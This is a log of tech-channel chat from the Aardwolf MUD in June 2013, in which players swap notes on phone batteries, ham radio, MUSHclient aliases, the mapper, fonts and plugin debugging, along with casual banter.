T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I guess I'll just leave you all with whatever you are doing and go use my 2-day battery, no app-killer, does everything I've ever wanted in a phone and more S4 then :-P Never had an app restart itself, bought provider with no provider installed apps at all.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: and by "contract", I'm also including non-contract monthly payments
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: Mailg nods.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: I'll leave you to your 2-day battery with my 4-day iphone and 10-day crap non-smartphone ;-)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mushambo Tech: I use LBE permission manager for privacy control
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Get 4 days of actual use out of an iPhone and you could win some sort of award... probably an award for cheating, but an award all the same
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: LOL
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And everyone knows nokia bricks last at least 30 days.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: then I guess I get the award, cuz that's how often I charge mine
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: you get 4 days of battary life on your iphone?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: wow my iphone 5 won't make 2 most of the time
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: mine's a 4s
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How much do you actually use that phone, though - sounds like bollocks
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: my 5 lasts more than 2 days
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: on iOS7 too, so batt life is a bit wonky atm
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: of coures mine constantly checks corporate email, 4g and wifi enabled and yahoo pushes email notifications constantly so I don't expect a whole lot 
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: I'm on 6.1, downloaded the microsoft office app the other day (amazed that they released it on ios)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: oh and the bluetooth handsfree of course the ultimate battary killer
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sitting unused on a desk somewhere, never pairing on bt, never leaving its comfy wifi zone so the cellular never fires up, never using location services - anything could get 4 days. But an iPhone that actually gets used lasting 4 days on 1 charge is a bit of a pink elephant.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Eutychus Tech: 4-days without a charge? You must never use your phone. That's gotta be just network drain.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: mine's configured to check email for icloud, (3) pop/smtp accounts, gmail, yahoo and MS365 exchange
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: and I use the Midland BT2 bluetooth for a couple hours a day, playing audiobooks and phone calls
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Eutychus Tech: Meh, I'll sacrifice plugging my phone in every 2 days for the amount of freedom I get.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: when not driving (couple hours a day), I am pretty much always on wifi
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: yep mine stays docked in my cube 3 days a week (along with my butt) and always charging while driving - for the most part thats enough
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: I only charge when it's low
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: and while my bike has a cigarette lighter in the fairing, I've never used it
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: ahh I couldn't pull that off
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: as it is I go through charging cables like crazy
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: the 4-wheeled vehicle has an iphone charger in it, and that is one time that my phone will just suck down the battery...trips from philly to buffalo...the middle-of-nowhere PA part of the trip where it's using its charge to boost antenna gain
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: teathered wifi antanna?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: that is probably a good part of why I get good battery life, being in the philly metro area, I've probably got better signal than most
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: no, phones use more power to try to boost antenna signal when they're in poor reception areas
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: Wildkard nods.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: those "searching for signal" parts can be brutal
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: I often leave the hotspot running to, which is on me - I just teather so much and forget to turn it off
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: I have a bag phone.  It can get a signal on the moon
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: then again, it weighs three pounds, and cost $1.75 a minute to use
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: bag phone?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: but worth every penny when you just absolutly HAVE to call!
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: they were some of the first cellphones, like a big shoebox or wider really
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: it is... but actually, this one is from a few years AFTER the ceullular bag phones... it'd iridium
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: no monthly fee... just pay for when you use it
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: I have it from when I was doing 'something else'... I really have no use for it now, but I figure - "Hey! it will probobly stll work after the zombie apocolyps, so might as well hang on to it."
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: sound logic!
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: I have ham license for that :-)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: oh crap, that reminds me, it's time to renew that
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: that'll work good, too... though I don't think I'd worry too much about the licence part - the knowlege is good, though
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: I think I have one of those in the shed somewhere - onld navy guy neighbor pass on about 20 years ago, and I ended up with it.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: I should pull it out and stock a few spare parts
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: there's not alot of 'solid state' to it, though
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: well, there's a dozen different bands which can be referred to by ham...and it could be receive-only or also transmit...
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: oh... this is a full-up communications center... has 3-4 different microphones, couple of headsets - super-heavy stand alone speaker - real heavy (as in un-light) onld tech
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: has tech even has a telegraph key for Morse code.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: that's normal
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: in order to access some bands, you were required to qualify at a certain speed in morse code until relatively recently
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: as I recall from a few decades ago, ham operators have to start out as morse only.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: or maybe there is a 'morse only' ticket... I forget
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: never had to start as morse-only, but anything technician class and above required morse
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: then they separated out technician and "tech plus" so just regular tech didn't need morse
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: back in the day, we used to send messages via the 'mars stations'... fastest way (besides red cross) to get a message to someone in another part of the world
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: tbh, knowing morse was more of an "inside club" thing...most people used a commodore 64 to type and recognize the morse for them
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: nah, the longer-wave bands propogate across the globe, and SSB makes normal voice work OK with them
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: I went to flight school with a fellow from the marines... he was a morse wiz... his job in the marines was sitting in a trawler out in the pacific copying morse code in russian... ironicaly, he was NOT allowed to actually LEARN russian.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: basically, shortwave stuff goes through the atmosphere so that's what we use to get to satellites, bounce signals off the moon, etc. (or relay via repeaters)...longer wave stuff bounces off the bottom of the upper atmospheres, so it'll go 'round the curve of the earth
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: yes, military had some super-immersion morse classes for their comms people
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: he and another fellow (not sure where the other fellow picked up his morse code skills) would sit in class and have conversations in morse...  a very light thump thump thap thump thump thap
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: the guy that got me into amat. radio had been communications guy in 82nd airborne back in 'nam (silent keys n2iuh)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: nod, it's a nice way to carry convo unnoticed
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: I only ever learned enough to identify navigational aids (three letter identifiers)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: Hmm , i got a 8gig monthly data package on my tablet.. I've bean playing through bbssh client in EDGE mode, most of the time its lag free but when I'm traveling it lags on some rare ocations. I'm using 3G now and its lag free, my question is if i use 3G will it use more data?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: some plans have different amounts of 3g vs 4g and some don't
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: but its usually more 3g then 4g
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: oh ok so 3G uses more data on this game, i think I'll play for an hour and check the difference in data usage then.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: sorry no not what i was saying - same bandwidth just most providers limit 4g because of availability and 3g usually has a higher cap
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: but will 3G uses the exact same data as EDGE while I'm playing aard?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: its the exact same data being transferrd
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: it'll just use what you send and what you see
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: it should use the exact same amount of data
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: aard doesn't know how you're connecting
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: so it sends the same data either way
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: Great! this is good news .. thanks for the help
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: but just double check your plan - sometimes your provider caps or limits the amount of each network differently
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: will do Wildcard , just to make sure :) ty
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Dtboy Tech: what doesmcclient do?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Dtboy Tech: got it here http://www.aardwolf.com/download/mccp_pc.zip
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Pedwiddle Tech: Just guessing, but I'd imagine it's an MCCP-enabled telnet client.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: no, it's an mccp proxy
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: I wouldn't use the Windows mcclient...for Windows I'd use PiMP from Arkanes...for old-MacOS or for unix/linux, mcclient will let you use a MUD client which is old and crappy enough that it doesn't natively support MCCP and still get the 2QP mccp bonus
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: and of course I'd strongly recommend just using MUSHclient on all except 6+year-old Macs
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Does steam have a time-based throttler? I know you can limit the bandwidth it uses for downloads, but does it have a scheduler anywhere for "unlimited at night" and "slow down" during the day like utorrent?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wozniak Tech: Down goes Apple stock.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wozniak Tech: almost time to buy
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: Wildkard P always fun to watch the newer generation run when you try to explain/show them what a mud is
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Garthis Tech: what they dont want to read not enough visuals? hehe
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: not sure if its that or just no imagination
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Garthis Tech: don't need imagination its all given by the games that they play, reading is not required escept blurbs of waypoints and what to kill.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Ayasinda Tech: I asked myself the same question with the current generation on aard
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: well playing today is certainly different then 10 years ago when you had to either know or google speedwalks and areas
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Ayasinda Tech: nod. The game has become much easier. Like all games. *sob
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Garthis Tech: hee
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: when i was your age sonny, I didnt' have an aardmush client to play for me - the only tags we had was the ones on our clothes
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Garthis Tech: i remember using a computer that the keyboard had scripting avail for my stuff heh
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Martini & Tyebald Tech: still plenty of difficulty if you want it.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Ayasinda Tech: 15 minutes max time for a quest
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Martini & Tyebald Tech: stop getting dragged from 186 on, do quests at those levels, do cps at those levels....
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Ayasinda Tech: I never get dragged Tyebald. I do all levels myself.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Flak Tech: whats this about dressing in drag?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Flak Tech: oh, all the cool kids are doing it?  sign me up!
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Garthis Tech: i like getting dragged get to meet new people i wouldnt meet otherwise heh 
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: and remember when you actually had to be somewhat social to get into a clan
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien flashes a mischievous grin at Wildkard.  Hmm. is it time to run and hide?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Garthis Tech: what you just let anyone in nowadays? hrm 
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: sure, we'll let you in
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: just this once
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Garthis Tech: heh
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: that was back when I had a chance of winning a GQ now..talk about gone in 60 seconds
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Garthis Tech: yeah there are a few i go how . how. sigh cuz i wont even be half done heh
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: how come when I use 'mapper goto' type stuff, it adds on extra steps at the end?  like when useing serach and destroy, it runs to the entrance of a zone and then spazzes aaround a couple rooms BEFORE I tell it to go to the room with the target
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tynrael Tech: go to whatever room you want to be considered the beginning, and use xset mark
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Vonliege Tech: will give that a try
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: is there a way i can get the mapper in aardmush to learn special exist like enter rift?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: mapper cexit enter rift
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: thanks
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: awsome works brilliently
T3/r7/2013-06-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: yah its awesome!
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: Yep
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: anyone know why i can't create this aardmush alias? :mapper cexit open e;e
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: it works from the commandline but not from the alias
T3/r7/2013-06-21.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you sending to wotrld instead of execute?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: thanks 
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Pei Tech: i've got a window that somehow went above the world window title bar, is there any way to reset all mini window positions?'
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Pei Tech: dammit, closing the world didn
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Pei Tech: dammit, closing the world didn't help
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: sorry this place is like hotel california, you can log off, but you can never leave
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Cyler Tech: lmao awesome
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arnica Tech: God did not tell Moses, hey Moses. build me an ark, I am going to close the world
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: Wildkard chuckles politely.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: that story might have been much more interesting if he had
T3/r7/2013-06-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: or if he was real
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Jhav Tech: Or if Moses was the one related to the ark story at all.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Jhav Tech: (you might be thinking of Noah)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arnica Tech: Especially if he forgot to 'Save world details'
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: Wildkard screams at Jhav, "Without Green Destiny, you are nothing!"
T3/r7/2013-06-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: haha jhav watches noah's arc
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: Mye snuggles up to Jhav.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arnica Tech: Noah who I call Moses sometimes
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: lets not argue over who killed who and who cut off who's head
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arnica Tech: Noah would have had it a lot easier if he could have parted the waters, I guess ...
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: I would imagine anyone would have it a bit easier if they could
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arnica Tech: Good thing I didn't confuse him with Jonah
T3/r7/2013-06-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: haha he was a bullfrog
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wildkard Tech: thats jeremiah
T3/r7/2013-06-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: thats the joke.jpg
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arnica Tech: Ssh one more word and you will wake Gojira
T3/r7/2013-06-21.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: hurrrhurr cujo
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arnica Tech: There goes Tokyo
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Faylen Tech: Can anyone think why this scenario wouldn't work? I have an alias which accepts a string argument, and calls a function sending it two arguments, "target1" being the first and "%1" being the second. The idea is to assign the alias's argument to the target1 variable. The function itself has a header of AssignVariable(tnum,tname). However, the line SetVariable(tnum,tname) within that function fails... There's no error, but when I check the contents of target1 it's still nil. I'm trying to keep track of several such variables, which is why I'm putting the assignment logic in a separate function, but I don't understand why it's failing.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Faylen Tech: Sorry for the wall of text, heh, wasn't sure how to condense that
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wozniak Tech: I would have to see your code. I really don't know.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Hanslanda Tech: probably a scoping issue, such that one of your arguments no longer relates to what was in the referenced variable.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Faylen Tech: Ok. So in general terms that logic should make sense? Weird part is, I have a note right after the assignment and that note makes it look as if the assignment worked... Like Note recognizes both variables but SetVariable doesn't.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Silentdecay Tech: can anybody help me with something?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Smashley Tech: sure!
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Silentdecay Tech: kk one sec :) just g2 move something then ill ask
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Silentdecay Tech: is it possible to make a plugin that allows me to click a speedwalk location and itll recall and speedwalk me there?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: #alias {rt *} {recall
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: #alias {rt *} {recall;runto %1} or look at help runprefix
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: but you wouldn't want to do that
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Silentdecay Tech: but would i be able to attach it to a GUI cheez? and why not abelinc?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: the whole point of the mapper is that it can go from arbitrary point A to arbitrary point B...it's hella lot better than recall and runto
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: you want to "mapper goto <room>", not any form of manual recall, and certainly not runto
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Silentdecay Tech: nono im wanting to make a GUI list of all speedwalks and when clicked they would recall you and make you run to that location
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: again, you don't want to recall
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: a GUI list is trivial, that doesn't matter
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: the thing that you're wrong about is recalling and running to there
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: let the mapper figure out if you even need to recall, and how to get there
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Elchanan Tech: inefficient right abe ... portals and what not can be faster
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: how I'd suggest doing the clickable GUI would depend on how many links you're looking to have...you could use http://gammon.com.au/forum/?id=9280 would work for a fair few (and Gammon says on the page how to do multiple rows for more)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Six-String Strazor Tech: Seems a bit overkill for what the mapper can already accomplish.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: it'd be using the mapper...the mapper doesn't give him clickable places, other than what's currently in view
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: button for "mapper goto <this room>", button for "mapper goto <that room>", etc
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Six-String Strazor Tech: I get it.  Maybe it's just something I would not use.  Cool idea though.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wozniak Tech: What's the reallign command for the Aardwolf MUSHclient?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: the what?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arystul Tech: reset aard
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wozniak Tech: Re-align*
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: all one word for that command
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Wozniak Tech: yeah
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Arystul Tech: that what you were looking for?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: hi. how do i make the text wrap in mushclient?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Six-String Strazor Tech: You should be able to adjust your window size.  Are you using the aard package?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: yes. it was wrapping fine before but don't know what happened today
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Six-String Strazor Tech: hmm.  I'm not sure.  Have you tried the microsoft method?  Closed it out and restart Mush?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: it's fine now. thanks
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: where can i find the font Dina to use it on notepad? i have it in the client
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Six-String Strazor Tech: http://www.donationcoder.com/Software/Jibz/Dina/
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: i found it on my com
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: may i know how i can reduce the significant size difference between 12pt and 14pt for dina? 12pt is a bit too small for my poor eyes and 14pt is too large for the screen
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: You can't.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: You can try to input 13, though.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: i'm using 13 now but there's not much of a difference.. are there other fonts to recommend?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Alternatively, if 12 pt is too small, you could lower the resolution of your screen. :p
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Bitstream is one I use a lot.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: i don't have it, sadly
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: So... Google it?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: It's a free download. You can actually download a lot of free fonts.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Shue Tech: you should know that not everyone who plays this are as tech savvy as you. another thing. my acsii(?) map stopped displaying in the mini window, and it's now displaying in the main window. how do i change that?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Dtboy Tech: is there a way to remove the echo of an alias?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Dtboy Tech: mchat *hmm drakoth
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Dtboy Tech: miss
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Dtboy Tech: anyone know what plugin in aardmush takes alot of data?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Maul Tech: Anyone know why my Search & Destroy plugin won't find room names when doing "where" in campaigns, when my "mapper area roomname" does?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Maul Tech: How do I turn off replay on tick in Mush?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Jopari Tech: if my title reads 
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Jopari Tech: .
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Jopari Tech: is it empty?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Mushambo Tech: How much faster is wireless-N really over G? Given it'll cost me about $100+ to upgrade the router and two currently G-only computers? Worth it?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Vost Tech: AC now
T3/r7/2013-06-22.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: is there a enchanter script?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: id guess,it depends what you want in it
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: anybody else here a software eng? or software IT?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: no, but I play one on the internet.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: x) not quite as good, im hoping to find somebody to help me debug something
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: don't need a degree for that, ask away.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: just use softice
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: well if you have sufficient knowledge of lua then i can send you the file if your up for debugging it :) im aiming for a 9/9/9/24 timing on it
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: and assembly sorry, as its assembled in assembly x)
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: this sounds like homework...
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: eww dont say homework :P but no its a plugin im making for mushclient, but it requires very finely optimized assembly in it
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Speaking of which... I still have to do mine. Anyone know the best way to answer a medical practice telephone? I swear it's "Shut the hell up and tell me what's wrong with you.", but when I asked my instructor, she said "No."
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: try "walk into the light, if you do not see a light then you are fine"
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, okay, will do.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Ayasinda Tech: your instructor is correct. You forgot to end with "bitch" 
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Doh! Thanks, Ayasinda!
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: use "asshole" instead.  Everyone has one, but not every's got a bitch.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Tech: DragoDrake Dragoknight peers around himself intently.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: why would you possibly need assembly optimization for a mushclient plugin?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Hemicorporectomy patients don't have one, Hans.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Their lower half of the body is amputated.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: the likeliest answer to that would be "just because".
